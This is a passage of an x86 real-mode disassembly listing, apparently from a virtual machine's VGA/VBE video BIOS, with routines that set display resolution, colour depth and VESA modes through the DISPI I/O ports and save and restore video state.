mov ax, word [bp+010h] ; 8b 46 10
shr ax, 008h ; c1 e8 08
movzx bx, al ; 0f b6 d8
mov ax, word [bp+00ch] ; 8b 46 0c
shr ax, 008h ; c1 e8 08
movzx dx, al ; 0f b6 d0
mov al, byte [bp+012h] ; 8a 46 12
xor ah, ah ; 30 e4
call 0158bh ; e8 58 e4
jmp near 033fah ; e9 c4 02
xor al, al ; 30 c0
jmp short 030ffh ; eb c5
lea dx, [bp+012h] ; 8d 56 12
mov ax, word [bp+00ch] ; 8b 46 0c
shr ax, 008h ; c1 e8 08
xor ah, ah ; 30 e4
call 00acbh ; e8 83 d9
jmp near 033fah ; e9 af 02
mov cx, word [bp+010h] ; 8b 4e 10
mov al, byte [bp+00ch] ; 8a 46 0c
movzx bx, al ; 0f b6 d8
mov ax, word [bp+00ch] ; 8b 46 0c
shr ax, 008h ; c1 e8 08
movzx dx, al ; 0f b6 d0
mov al, byte [bp+012h] ; 8a 46 12
xor ah, ah ; 30 e4
call 01d2bh ; e8 c6 eb
jmp near 033fah ; e9 92 02
mov cx, word [bp+010h] ; 8b 4e 10
mov al, byte [bp+00ch] ; 8a 46 0c
movzx bx, al ; 0f b6 d8
mov ax, word [bp+00ch] ; 8b 46 0c
shr ax, 008h ; c1 e8 08
movzx dx, al ; 0f b6 d0
mov al, byte [bp+012h] ; 8a 46 12
xor ah, ah ; 30 e4
call 01e93h ; e8 11 ed
jmp near 033fah ; e9 75 02
mov cx, word [bp+00eh] ; 8b 4e 0e
mov bx, word [bp+010h] ; 8b 5e 10
mov al, dl ; 88 d0
movzx dx, al ; 0f b6 d0
mov ax, word [bp+00ch] ; 8b 46 0c
shr ax, 008h ; c1 e8 08
mov word [bp-006h], ax ; 89 46 fa
mov al, byte [bp-006h] ; 8a 46 fa
xor ah, ah ; 30 e4
call 02002h ; e8 61 ee
jmp near 033fah ; e9 56 02
lea cx, [bp+012h] ; 8d 4e 12
mov bx, word [bp+00eh] ; 8b 5e 0e
mov dx, word [bp+010h] ; 8b 56 10
mov ax, word [bp+00ch] ; 8b 46 0c
shr ax, 008h ; c1 e8 08
mov word [bp-006h], ax ; 89 46 fa
mov al, byte [bp-006h] ; 8a 46 fa
xor ah, ah ; 30 e4
call 00bf5h ; e8 37 da
jmp near 033fah ; e9 39 02
mov cx, strict word 00002h ; b9 02 00
mov al, byte [bp+00ch] ; 8a 46 0c
movzx bx, al ; 0f b6 d8
mov dx, 000ffh ; ba ff 00
mov al, byte [bp+012h] ; 8a 46 12
xor ah, ah ; 30 e4
call 0216ch ; e8 97 ef
jmp near 033fah ; e9 22 02
mov dx, word [bp+010h] ; 8b 56 10
mov ax, word [bp+00ch] ; 8b 46 0c
call 00d2eh ; e8 4d db
jmp near 033fah ; e9 16 02
cmp ax, strict word 00030h ; 3d 30 00
jnbe near 033fah ; 0f 87 0f 02
push CS ; 0e
pop ES ; 07
mov cx, strict word 0000fh ; b9 0f 00
mov di, 02ff4h ; bf f4 2f
repne scasb ; f2 ae
sal cx, 1 ; d1 e1
mov di, cx ; 89 cf
mov dx, word [cs:di+03002h] ; 2e 8b 95 02 30
mov al, byte [bp+00ch] ; 8a 46 0c
jmp dx ; ff e2
mov ax, word [bp+00ch] ; 8b 46 0c
shr ax, 008h ; c1 e8 08
xor ah, ah ; 30 e4
push ax ; 50
mov al, byte [bp+00ch] ; 8a 46 0c
xor ah, ah ; 30 e4
push ax ; 50
push word [bp+00eh] ; ff 76 0e
mov al, byte [bp+012h] ; 8a 46 12
xor ah, ah ; 30 e4
mov cx, word [bp+010h] ; 8b 4e 10
mov bx, word [bp+008h] ; 8b 5e 08
mov dx, word [bp+016h] ; 8b 56 16
call 024d4h ; e8 ae f2
jmp near 033fah ; e9 d1 01
mov al, byte [bp+00ch] ; 8a 46 0c
movzx dx, al ; 0f b6 d0
mov al, byte [bp+012h] ; 8a 46 12
xor ah, ah ; 30 e4
call 02551h ; e8 1a f3
jmp near 033fah ; e9 c0 01
mov al, byte [bp+00ch] ; 8a 46 0c
movzx dx, al ; 0f b6 d0
mov al, byte [bp+012h] ; 8a 46 12
xor ah, ah ; 30 e4
call 025c1h ; e8 79 f3
jmp near 033fah ; e9 af 01
mov al, byte [bp+00ch] ; 8a 46 0c
movzx dx, al ; 0f b6 d0
mov al, byte [bp+012h] ; 8a 46 12
xor ah, ah ; 30 e4
call 02633h ; e8 da f3
jmp near 033fah ; e9 9e 01
mov dx, word [bp+008h] ; 8b 56 08
mov ax, word [bp+016h] ; 8b 46 16
call 026a5h ; e8 40 f4
jmp near 033fah ; e9 92 01
mov al, byte [bp+00eh] ; 8a 46 0e
xor ah, ah ; 30 e4
push ax ; 50
mov al, byte [bp+00ch] ; 8a 46 0c
movzx cx, al ; 0f b6 c8
mov bx, word [bp+010h] ; 8b 5e 10
mov dx, word [bp+008h] ; 8b 56 08
mov ax, word [bp+016h] ; 8b 46 16
call 026aah ; e8 2a f4
jmp near 033fah ; e9 77 01
xor ah, ah ; 30 e4
call 026b1h ; e8 29 f4
jmp near 033fah ; e9 6f 01
xor ah, ah ; 30 e4
call 026b6h ; e8 26 f4
jmp near 033fah ; e9 67 01
xor ah, ah ; 30 e4
call 026bbh ; e8 23 f4
jmp near 033fah ; e9 5f 01
lea ax, [bp+00eh] ; 8d 46 0e
push ax ; 50
mov ax, word [bp+00ch] ; 8b 46 0c
shr ax, 008h ; c1 e8 08
lea cx, [bp+010h] ; 8d 4e 10
lea bx, [bp+008h] ; 8d 5e 08
lea dx, [bp+016h] ; 8d 56 16
call 00b73h ; e8 c2 d8
jmp near 033fah ; e9 46 01
mov ax, word [bp+00ch] ; 8b 46 0c
xor ah, ah ; 30 e4
cmp ax, strict word 00036h ; 3d 36 00
je short 032e6h ; 74 28
cmp ax, strict word 00035h ; 3d 35 00
je short 032d0h ; 74 0d
cmp ax, strict word 00020h ; 3d 20 00
jne near 033fah ; 0f 85 30 01
call 026c0h ; e8 f3 f3
jmp near 033fah ; e9 2a 01
movzx ax, dl ; 0f b6 c2
mov bx, word [bp+00eh] ; 8b 5e 0e
mov dx, word [bp+016h] ; 8b 56 16
call 026c5h ; e8 e9 f3
mov ax, word [bp+012h] ; 8b 46 12
xor al, al ; 30 c0
or AL, strict byte 012h ; 0c 12
jmp near 030a2h ; e9 bc fd
movzx ax, dl ; 0f b6 c2
call 026cah ; e8 de f3
jmp short 032dch ; eb ee
push word [bp+008h] ; ff 76 08
push word [bp+016h] ; ff 76 16
mov al, byte [bp+00eh] ; 8a 46 0e
xor ah, ah ; 30 e4
push ax ; 50
mov ax, word [bp+00eh] ; 8b 46 0e
shr ax, 008h ; c1 e8 08
xor ah, ah ; 30 e4
push ax ; 50
mov al, byte [bp+00ch] ; 8a 46 0c
movzx bx, al ; 0f b6 d8
mov ax, word [bp+00ch] ; 8b 46 0c
shr ax, 008h ; c1 e8 08
xor ah, ah ; 30 e4
movzx si, dl ; 0f b6 f2
mov cx, word [bp+010h] ; 8b 4e 10
mov dx, ax ; 89 c2
mov ax, si ; 89 f0
call 026cfh ; e8 b1 f3
jmp near 033fah ; e9 d9 00
mov bx, si ; 89 f3
mov dx, word [bp+016h] ; 8b 56 16
mov ax, word [bp+00ch] ; 8b 46 0c
call 0276bh ; e8 3f f4
mov ax, word [bp+012h] ; 8b 46 12
xor al, al ; 30 c0
or AL, strict byte 01bh ; 0c 1b
jmp near 030a2h ; e9 6c fd
cmp ax, strict word 00002h ; 3d 02 00
je short 0335dh ; 74 22
cmp ax, strict word 00001h ; 3d 01 00
je short 0334fh ; 74 0f
test ax, ax ; 85 c0
jne short 03369h ; 75 25
lea dx, [bp+00ch] ; 8d 56 0c
mov ax, word [bp+010h] ; 8b 46 10
call 0288fh ; e8 42 f5
jmp short 03369h ; eb 1a
mov bx, word [bp+00ch] ; 8b 5e 0c
mov dx, word [bp+016h] ; 8b 56 16
mov ax, word [bp+010h] ; 8b 46 10
call 028a1h ; e8 46 f5
jmp short 03369h ; eb 0c
mov bx, word [bp+00ch] ; 8b 5e 0c
mov dx, word [bp+016h] ; 8b 56 16
mov ax, word [bp+010h] ; 8b 46 10
call 02c0ah ; e8 a1 f8
mov ax, word [bp+012h] ; 8b 46 12
xor al, al ; 30 c0
or AL, strict byte 01ch ; 0c 1c
jmp near 030a2h ; e9 2f fd
call 007bfh ; e8 49 d4
test ax, ax ; 85 c0
je near 033f5h ; 0f 84 79 00
mov ax, word [bp+012h] ; 8b 46 12
xor ah, ah ; 30 e4
cmp ax, strict word 0000ah ; 3d 0a 00
jnbe short 033eeh ; 77 68
push CS ; 0e
pop ES ; 07
mov cx, strict word 00008h ; b9 08 00
mov di, 03020h ; bf 20 30
repne scasb ; f2 ae
sal cx, 1 ; d1 e1
mov di, cx ; 89 cf
mov ax, word [cs:di+03027h] ; 2e 8b 85 27 30
jmp ax ; ff e0
mov bx, si ; 89 f3
mov dx, word [bp+016h] ; 8b 56 16
lea ax, [bp+012h] ; 8d 46 12
call 035b6h ; e8 10 02
jmp short 033fah ; eb 52
mov cx, si ; 89 f1
mov bx, word [bp+016h] ; 8b 5e 16
mov dx, word [bp+010h] ; 8b 56 10
lea ax, [bp+012h] ; 8d 46 12
call 036dfh ; e8 29 03
jmp short 033fah ; eb 42
mov cx, si ; 89 f1
mov bx, word [bp+016h] ; 8b 5e 16
mov dx, word [bp+00ch] ; 8b 56 0c
lea ax, [bp+012h] ; 8d 46 12
call 03797h ; e8 d1 03
jmp short 033fah ; eb 32
lea ax, [bp+00ch] ; 8d 46 0c
push ax ; 50
mov cx, word [bp+016h] ; 8b 4e 16
mov bx, word [bp+00eh] ; 8b 5e 0e
mov dx, word [bp+010h] ; 8b 56 10
lea ax, [bp+012h] ; 8d 46 12
call 0397eh ; e8 a3 05
jmp short 033fah ; eb 1d
lea cx, [bp+00eh] ; 8d 4e 0e
lea bx, [bp+010h] ; 8d 5e 10
lea dx, [bp+00ch] ; 8d 56 0c
lea ax, [bp+012h] ; 8d 46 12
call 03a0ah ; e8 1e 06
jmp short 033fah ; eb 0c
mov word [bp+012h], 00100h ; c7 46 12 00 01
jmp short 033fah ; eb 05
mov word [bp+012h], 00100h ; c7 46 12 00 01
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn ; c3
dispi_set_xres_: ; 0xc3401 LB 0x1f
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push dx ; 52
mov bx, ax ; 89 c3
mov ax, strict word 00001h ; b8 01 00
mov dx, 001ceh ; ba ce 01
call 00570h ; e8 5f d1
mov ax, bx ; 89 d8
mov dx, 001cfh ; ba cf 01
call 00570h ; e8 57 d1
lea sp, [bp-004h] ; 8d 66 fc
pop dx ; 5a
pop bx ; 5b
pop bp ; 5d
retn ; c3
dispi_set_yres_: ; 0xc3420 LB 0x1f
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push dx ; 52
mov bx, ax ; 89 c3
mov ax, strict word 00002h ; b8 02 00
mov dx, 001ceh ; ba ce 01
call 00570h ; e8 40 d1
mov ax, bx ; 89 d8
mov dx, 001cfh ; ba cf 01
call 00570h ; e8 38 d1
lea sp, [bp-004h] ; 8d 66 fc
pop dx ; 5a
pop bx ; 5b
pop bp ; 5d
retn ; c3
dispi_get_yres_: ; 0xc343f LB 0x19
push bp ; 55
mov bp, sp ; 89 e5
push dx ; 52
mov ax, strict word 00002h ; b8 02 00
mov dx, 001ceh ; ba ce 01
call 00570h ; e8 24 d1
mov dx, 001cfh ; ba cf 01
call 00577h ; e8 25 d1
lea sp, [bp-002h] ; 8d 66 fe
pop dx ; 5a
pop bp ; 5d
retn ; c3
dispi_set_bpp_: ; 0xc3458 LB 0x1f
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push dx ; 52
mov bx, ax ; 89 c3
mov ax, strict word 00003h ; b8 03 00
mov dx, 001ceh ; ba ce 01
call 00570h ; e8 08 d1
mov ax, bx ; 89 d8
mov dx, 001cfh ; ba cf 01
call 00570h ; e8 00 d1
lea sp, [bp-004h] ; 8d 66 fc
pop dx ; 5a
pop bx ; 5b
pop bp ; 5d
retn ; c3
dispi_get_bpp_: ; 0xc3477 LB 0x19
push bp ; 55
mov bp, sp ; 89 e5
push dx ; 52
mov ax, strict word 00003h ; b8 03 00
mov dx, 001ceh ; ba ce 01
call 00570h ; e8 ec d0
mov dx, 001cfh ; ba cf 01
call 00577h ; e8 ed d0
lea sp, [bp-002h] ; 8d 66 fe
pop dx ; 5a
pop bp ; 5d
retn ; c3
dispi_set_virt_width_: ; 0xc3490 LB 0x1f
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push dx ; 52
mov bx, ax ; 89 c3
mov ax, strict word 00006h ; b8 06 00
mov dx, 001ceh ; ba ce 01
call 00570h ; e8 d0 d0
mov ax, bx ; 89 d8
mov dx, 001cfh ; ba cf 01
call 00570h ; e8 c8 d0
lea sp, [bp-004h] ; 8d 66 fc
pop dx ; 5a
pop bx ; 5b
pop bp ; 5d
retn ; c3
dispi_get_virt_width_: ; 0xc34af LB 0x19
push bp ; 55
mov bp, sp ; 89 e5
push dx ; 52
mov ax, strict word 00006h ; b8 06 00
mov dx, 001ceh ; ba ce 01
call 00570h ; e8 b4 d0
mov dx, 001cfh ; ba cf 01
call 00577h ; e8 b5 d0
lea sp, [bp-002h] ; 8d 66 fe
pop dx ; 5a
pop bp ; 5d
retn ; c3
dispi_get_virt_height_: ; 0xc34c8 LB 0x19
push bp ; 55
mov bp, sp ; 89 e5
push dx ; 52
mov ax, strict word 00007h ; b8 07 00
mov dx, 001ceh ; ba ce 01
call 00570h ; e8 9b d0
mov dx, 001cfh ; ba cf 01
call 00577h ; e8 9c d0
lea sp, [bp-002h] ; 8d 66 fe
pop dx ; 5a
pop bp ; 5d
retn ; c3
in_word_: ; 0xc34e1 LB 0x12
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
mov bx, ax ; 89 c3
mov ax, dx ; 89 d0
mov dx, bx ; 89 da
out DX, ax ; ef
in ax, DX ; ed
lea sp, [bp-002h] ; 8d 66 fe
pop bx ; 5b
pop bp ; 5d
retn ; c3
in_byte_: ; 0xc34f3 LB 0x14
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
mov bx, ax ; 89 c3
mov ax, dx ; 89 d0
mov dx, bx ; 89 da
out DX, ax ; ef
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
lea sp, [bp-002h] ; 8d 66 fe
pop bx ; 5b
pop bp ; 5d
retn ; c3
dispi_get_id_: ; 0xc3507 LB 0x14
push bp ; 55
mov bp, sp ; 89 e5
push dx ; 52
xor ax, ax ; 31 c0
mov dx, 001ceh ; ba ce 01
out DX, ax ; ef
mov dx, 001cfh ; ba cf 01
in ax, DX ; ed
lea sp, [bp-002h] ; 8d 66 fe
pop dx ; 5a
pop bp ; 5d
retn ; c3
dispi_set_id_: ; 0xc351b LB 0x1a
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push dx ; 52
mov bx, ax ; 89 c3
xor ax, ax ; 31 c0
mov dx, 001ceh ; ba ce 01
out DX, ax ; ef
mov ax, bx ; 89 d8
mov dx, 001cfh ; ba cf 01
out DX, ax ; ef
lea sp, [bp-004h] ; 8d 66 fc
pop dx ; 5a
pop bx ; 5b
pop bp ; 5d
retn ; c3
vbe_init_: ; 0xc3535 LB 0x2c
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push dx ; 52
mov ax, 0b0c0h ; b8 c0 b0
call 0351bh ; e8 db ff
call 03507h ; e8 c4 ff
cmp ax, 0b0c0h ; 3d c0 b0
jne short 0355ah ; 75 12
mov bx, strict word 00001h ; bb 01 00
mov dx, 000b9h ; ba b9 00
mov ax, strict word 00040h ; b8 40 00
call 02f65h ; e8 11 fa
mov ax, 0b0c4h ; b8 c4 b0
call 0351bh ; e8 c1 ff
lea sp, [bp-004h] ; 8d 66 fc
pop dx ; 5a
pop bx ; 5b
pop bp ; 5d
retn ; c3
mode_info_find_mode_: ; 0xc3561 LB 0x55
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push si ; 56
push di ; 57
mov di, ax ; 89 c7
mov si, dx ; 89 d6
xor dx, dx ; 31 d2
mov ax, 003b6h ; b8 b6 03
call 034e1h ; e8 6d ff
cmp ax, 077cch ; 3d cc 77
jne short 035abh ; 75 32
mov bx, strict word 00004h ; bb 04 00
mov dx, bx ; 89 da
mov ax, 003b6h ; b8 b6 03
call 034e1h ; e8 5d ff
mov cx, ax ; 89 c1
cmp cx, strict byte 0ffffh ; 83 f9 ff
je short 035abh ; 74 20
lea dx, [bx+002h] ; 8d 57 02
mov ax, 003b6h ; b8 b6 03
call 034e1h ; e8 4d ff
lea dx, [bx+044h] ; 8d 57 44
cmp cx, di ; 39 f9
jne short 035a7h ; 75 0c
test si, si ; 85 f6
jne short 035a3h ; 75 04
mov ax, bx ; 89 d8
jmp short 035adh ; eb 0a
test AL, strict byte 080h ; a8 80
jne short 0359fh ; 75 f8
mov bx, dx ; 89 d3
jmp short 0357eh ; eb d3
xor ax, ax ; 31 c0
lea sp, [bp-008h] ; 8d 66 f8
pop di ; 5f
pop si ; 5e
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
vbe_biosfn_return_controller_information_: ; 0xc35b6 LB 0x129
push bp ; 55
mov bp, sp ; 89 e5
push cx ; 51
push si ; 56
push di ; 57
sub sp, strict byte 0000ah ; 83 ec 0a
mov si, ax ; 89 c6
mov di, dx ; 89 d7
mov word [bp-00ah], bx ; 89 5e f6
mov word [bp-00ch], strict word 00022h ; c7 46 f4 22 00
call 005b7h ; e8 e9 cf
mov word [bp-010h], ax ; 89 46 f0
mov bx, word [bp-00ah] ; 8b 5e f6
mov word [bp-008h], di ; 89 7e f8
xor dx, dx ; 31 d2
mov ax, 003b6h ; b8 b6 03
call 034e1h ; e8 02 ff
cmp ax, 077cch ; 3d cc 77
je short 035eeh ; 74 0a
push SS ; 16
pop ES ; 07
mov word [es:si], 00100h ; 26 c7 04 00 01
jmp near 036d7h ; e9 e9 00
mov cx, strict word 00004h ; b9 04 00
mov word [bp-00eh], strict word 00000h ; c7 46 f2 00 00
mov es, [bp-008h] ; 8e 46 f8
cmp word [es:bx+002h], 03245h ; 26 81 7f 02 45 32
jne short 03608h ; 75 07
cmp word [es:bx], 04256h ; 26 81 3f 56 42
je short 03617h ; 74 0f
cmp word [es:bx+002h], 04153h ; 26 81 7f 02 53 41
jne short 0361ch ; 75 0c
cmp word [es:bx], 04556h ; 26 81 3f 56 45
jne short 0361ch ; 75 05
mov word [bp-00eh], strict word 00001h ; c7 46 f2 01 00
mov es, [bp-008h] ; 8e 46 f8
db 066h, 026h, 0c7h, 007h, 056h, 045h, 053h, 041h
; mov dword [es:bx], strict dword 041534556h ; 66 26 c7 07 56 45 53 41
mov word [es:bx+004h], 00200h ; 26 c7 47 04 00 02
mov word [es:bx+006h], 07c66h ; 26 c7 47 06 66 7c
mov [es:bx+008h], ds ; 26 8c 5f 08
db 066h, 026h, 0c7h, 047h, 00ah, 001h, 000h, 000h, 000h
; mov dword [es:bx+00ah], strict dword 000000001h ; 66 26 c7 47 0a 01 00 00 00
mov word [es:bx+010h], di ; 26 89 7f 10
mov ax, word [bp-00ah] ; 8b 46 f6
add ax, strict word 00022h ; 05 22 00
mov word [es:bx+00eh], ax ; 26 89 47 0e
mov dx, strict word 0ffffh ; ba ff ff
mov ax, 003b6h ; b8 b6 03
call 034e1h ; e8 8a fe
mov es, [bp-008h] ; 8e 46 f8
mov word [es:bx+012h], ax ; 26 89 47 12
cmp word [bp-00eh], strict byte 00000h ; 83 7e f2 00
je short 03688h ; 74 24
mov word [es:bx+014h], strict word 00003h ; 26 c7 47 14 03 00
mov word [es:bx+016h], 07c7bh ; 26 c7 47 16 7b 7c
mov [es:bx+018h], ds ; 26 8c 5f 18
mov word [es:bx+01ah], 07c8eh ; 26 c7 47 1a 8e 7c
mov [es:bx+01ch], ds ; 26 8c 5f 1c
mov word [es:bx+01eh], 07cafh ; 26 c7 47 1e af 7c
mov [es:bx+020h], ds ; 26 8c 5f 20
mov dx, cx ; 89 ca
add dx, strict byte 0001bh ; 83 c2 1b
mov ax, 003b6h ; b8 b6 03
call 034f3h ; e8 60 fe
xor ah, ah ; 30 e4
cmp ax, word [bp-010h] ; 3b 46 f0
jnbe short 036b3h ; 77 19
mov dx, cx ; 89 ca
mov ax, 003b6h ; b8 b6 03
call 034e1h ; e8 3f fe
mov bx, ax ; 89 c3
mov dx, word [bp-00ah] ; 8b 56 f6
add dx, word [bp-00ch] ; 03 56 f4
mov ax, di ; 89 f8
call 02f81h ; e8 d2 f8
add word [bp-00ch], strict byte 00002h ; 83 46 f4 02
add cx, strict byte 00044h ; 83 c1 44
mov dx, cx ; 89 ca
mov ax, 003b6h ; b8 b6 03
call 034e1h ; e8 23 fe
mov bx, ax ; 89 c3
cmp ax, strict word 0ffffh ; 3d ff ff
jne short 03688h ; 75 c3
mov dx, word [bp-00ah] ; 8b 56 f6
add dx, word [bp-00ch] ; 03 56 f4
mov ax, di ; 89 f8
call 02f81h ; e8 b1 f8
push SS ; 16
pop ES ; 07
mov word [es:si], strict word 0004fh ; 26 c7 04 4f 00
lea sp, [bp-006h] ; 8d 66 fa
pop di ; 5f
pop si ; 5e
pop cx ; 59
pop bp ; 5d
retn ; c3
vbe_biosfn_return_mode_information_: ; 0xc36df LB 0xb8
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
push ax ; 50
push ax ; 50
push ax ; 50
mov ax, dx ; 89 d0
mov si, bx ; 89 de
mov word [bp-006h], cx ; 89 4e fa
test dh, 040h ; f6 c6 40
db 00fh, 095h, 0c2h
; setne dl ; 0f 95 c2
xor dh, dh ; 30 f6
and ah, 001h ; 80 e4 01
call 03561h ; e8 65 fe
mov word [bp-008h], ax ; 89 46 f8
test ax, ax ; 85 c0
je near 03785h ; 0f 84 80 00
mov cx, 00100h ; b9 00 01
xor ax, ax ; 31 c0
mov di, word [bp-006h] ; 8b 7e fa
mov es, bx ; 8e c3
cld ; fc
jcxz 03714h ; e3 02
rep stosb ; f3 aa
xor cx, cx ; 31 c9
jmp short 0371dh ; eb 05
cmp cx, strict byte 00042h ; 83 f9 42
jnc short 0373ah ; 73 1d
mov dx, word [bp-008h] ; 8b 56 f8
inc dx ; 42
inc dx ; 42
add dx, cx ; 01 ca
mov ax, 003b6h ; b8 b6 03
call 034f3h ; e8 c9 fd
movzx bx, al ; 0f b6 d8
mov dx, word [bp-006h] ; 8b 56 fa
add dx, cx ; 01 ca
mov ax, si ; 89 f0
call 02f65h ; e8 2e f8
inc cx ; 41
jmp short 03718h ; eb de
mov dx, word [bp-006h] ; 8b 56 fa
inc dx ; 42
inc dx ; 42
mov ax, si ; 89 f0
call 02f57h ; e8 13 f8
test AL, strict byte 001h ; a8 01
je short 03764h ; 74 1c
mov dx, word [bp-006h] ; 8b 56 fa
add dx, strict byte 0000ch ; 83 c2 0c
mov bx, 00629h ; bb 29 06
mov ax, si ; 89 f0
call 02f81h ; e8 2b f8
mov dx, word [bp-006h] ; 8b 56 fa
add dx, strict byte 0000eh ; 83 c2 0e
mov bx, 0c000h ; bb 00 c0
mov ax, si ; 89 f0
call 02f81h ; e8 1d f8
mov ax, strict word 0000bh ; b8 0b 00
mov dx, 001ceh ; ba ce 01
call 00570h ; e8 03 ce
mov dx, 001cfh ; ba cf 01
call 00577h ; e8 04 ce
mov dx, word [bp-006h] ; 8b 56 fa
add dx, strict byte 0002ah ; 83 c2 2a
mov bx, ax ; 89 c3
mov ax, si ; 89 f0
call 02f81h ; e8 01 f8
mov ax, strict word 0004fh ; b8 4f 00
jmp short 03788h ; eb 03
mov ax, 00100h ; b8 00 01
push SS ; 16
pop ES ; 07
mov bx, word [bp-00ah] ; 8b 5e f6
mov word [es:bx], ax ; 26 89 07
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn ; c3
vbe_biosfn_set_mode_: ; 0xc3797 LB 0xe9
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 00006h ; 83 ec 06
mov si, ax ; 89 c6
mov word [bp-00ah], dx ; 89 56 f6
test byte [bp-009h], 040h ; f6 46 f7 40
db 00fh, 095h, 0c0h
; setne al ; 0f 95 c0
movzx dx, al ; 0f b6 d0
mov ax, dx ; 89 d0
test dx, dx ; 85 d2
je short 037b7h ; 74 03
mov dx, strict word 00040h ; ba 40 00
mov byte [bp-006h], dl ; 88 56 fa
test byte [bp-009h], 080h ; f6 46 f7 80
je short 037c5h ; 74 05
mov dx, 00080h ; ba 80 00
jmp short 037c7h ; eb 02
xor dx, dx ; 31 d2
mov byte [bp-008h], dl ; 88 56 f8
and byte [bp-009h], 001h ; 80 66 f7 01
cmp word [bp-00ah], 00100h ; 81 7e f6 00 01
jnc short 037e7h ; 73 12
xor ax, ax ; 31 c0
call 005ddh ; e8 03 ce
movzx ax, byte [bp-00ah] ; 0f b6 46 f6
call 00fdch ; e8 fb d7
mov ax, strict word 0004fh ; b8 4f 00
jmp near 03876h ; e9 8f 00
mov dx, ax ; 89 c2
mov ax, word [bp-00ah] ; 8b 46 f6
call 03561h ; e8 72 fd
mov bx, ax ; 89 c3
test ax, ax ; 85 c0
je near 03873h ; 0f 84 7c 00
lea dx, [bx+014h] ; 8d 57 14
mov ax, 003b6h ; b8 b6 03
call 034e1h ; e8 e1 fc
mov cx, ax ; 89 c1
lea dx, [bx+016h] ; 8d 57 16
mov ax, 003b6h ; b8 b6 03
call 034e1h ; e8 d6 fc
mov di, ax ; 89 c7
lea dx, [bx+01bh] ; 8d 57 1b
mov ax, 003b6h ; b8 b6 03
call 034f3h ; e8 dd fc
mov bl, al ; 88 c3
mov dl, al ; 88 c2
xor ax, ax ; 31 c0
call 005ddh ; e8 be cd
cmp bl, 004h ; 80 fb 04
jne short 0382ah ; 75 06
mov ax, strict word 0006ah ; b8 6a 00
call 00fdch ; e8 b2 d7
movzx ax, dl ; 0f b6 c2
call 03458h ; e8 28 fc
mov ax, cx ; 89 c8
call 03401h ; e8 cc fb
mov ax, di ; 89 f8
call 03420h ; e8 e6 fb
xor ax, ax ; 31 c0
call 00603h ; e8 c4 cd
mov al, byte [bp-008h] ; 8a 46 f8
or AL, strict byte 001h ; 0c 01
movzx dx, al ; 0f b6 d0
movzx ax, byte [bp-006h] ; 0f b6 46 fa
or ax, dx ; 09 d0
call 005ddh ; e8 8d cd
call 006d2h ; e8 7f ce
mov bx, word [bp-00ah] ; 8b 5e f6
mov dx, 000bah ; ba ba 00
mov ax, strict word 00040h ; b8 40 00
call 02f81h ; e8 22 f7
mov al, byte [bp-008h] ; 8a 46 f8
or AL, strict byte 060h ; 0c 60
movzx bx, al ; 0f b6 d8
mov dx, 00087h ; ba 87 00
mov ax, strict word 00040h ; b8 40 00
call 02f65h ; e8 f5 f6
jmp near 037e1h ; e9 6e ff
mov ax, 00100h ; b8 00 01
mov word [ss:si], ax ; 36 89 04
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn ; c3
vbe_biosfn_read_video_state_size_: ; 0xc3880 LB 0x8
push bp ; 55
mov bp, sp ; 89 e5
mov ax, strict word 00012h ; b8 12 00
pop bp ; 5d
retn ; c3
vbe_biosfn_save_video_state_: ; 0xc3888 LB 0x5b
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push si ; 56
push di ; 57
push ax ; 50
mov di, ax ; 89 c7
mov cx, dx ; 89 d1
mov ax, strict word 00004h ; b8 04 00
mov dx, 001ceh ; ba ce 01
out DX, ax ; ef
mov dx, 001cfh ; ba cf 01
in ax, DX ; ed
mov word [bp-00ah], ax ; 89 46 f6
mov bx, ax ; 89 c3
mov dx, cx ; 89 ca
mov ax, di ; 89 f8
call 02f81h ; e8 d6 f6
inc cx ; 41
inc cx ; 41
test byte [bp-00ah], 001h ; f6 46 f6 01
je short 038dah ; 74 27
mov si, strict word 00001h ; be 01 00
jmp short 038bdh ; eb 05
cmp si, strict byte 00009h ; 83 fe 09
jnbe short 038dah ; 77 1d
cmp si, strict byte 00004h ; 83 fe 04
je short 038d7h ; 74 15
mov ax, si ; 89 f0
mov dx, 001ceh ; ba ce 01
out DX, ax ; ef
mov dx, 001cfh ; ba cf 01
in ax, DX ; ed
mov bx, ax ; 89 c3
mov dx, cx ; 89 ca
mov ax, di ; 89 f8
call 02f81h ; e8 ac f6
inc cx ; 41
inc cx ; 41
inc si ; 46
jmp short 038b8h ; eb de
lea sp, [bp-008h] ; 8d 66 f8
pop di ; 5f
pop si ; 5e
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
vbe_biosfn_restore_video_state_: ; 0xc38e3 LB 0x9b
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push si ; 56
push ax ; 50
mov cx, ax ; 89 c1
mov bx, dx ; 89 d3
call 02f73h ; e8 82 f6
mov word [bp-008h], ax ; 89 46 f8
inc bx ; 43
inc bx ; 43
test byte [bp-008h], 001h ; f6 46 f8 01
jne short 0390ch ; 75 10
mov ax, strict word 00004h ; b8 04 00
mov dx, 001ceh ; ba ce 01
out DX, ax ; ef
mov ax, word [bp-008h] ; 8b 46 f8
mov dx, 001cfh ; ba cf 01
out DX, ax ; ef
jmp short 03976h ; eb 6a
mov ax, strict word 00001h ; b8 01 00
mov dx, 001ceh ; ba ce 01
out DX, ax ; ef
mov dx, bx ; 89 da
mov ax, cx ; 89 c8
call 02f73h ; e8 59 f6
mov dx, 001cfh ; ba cf 01
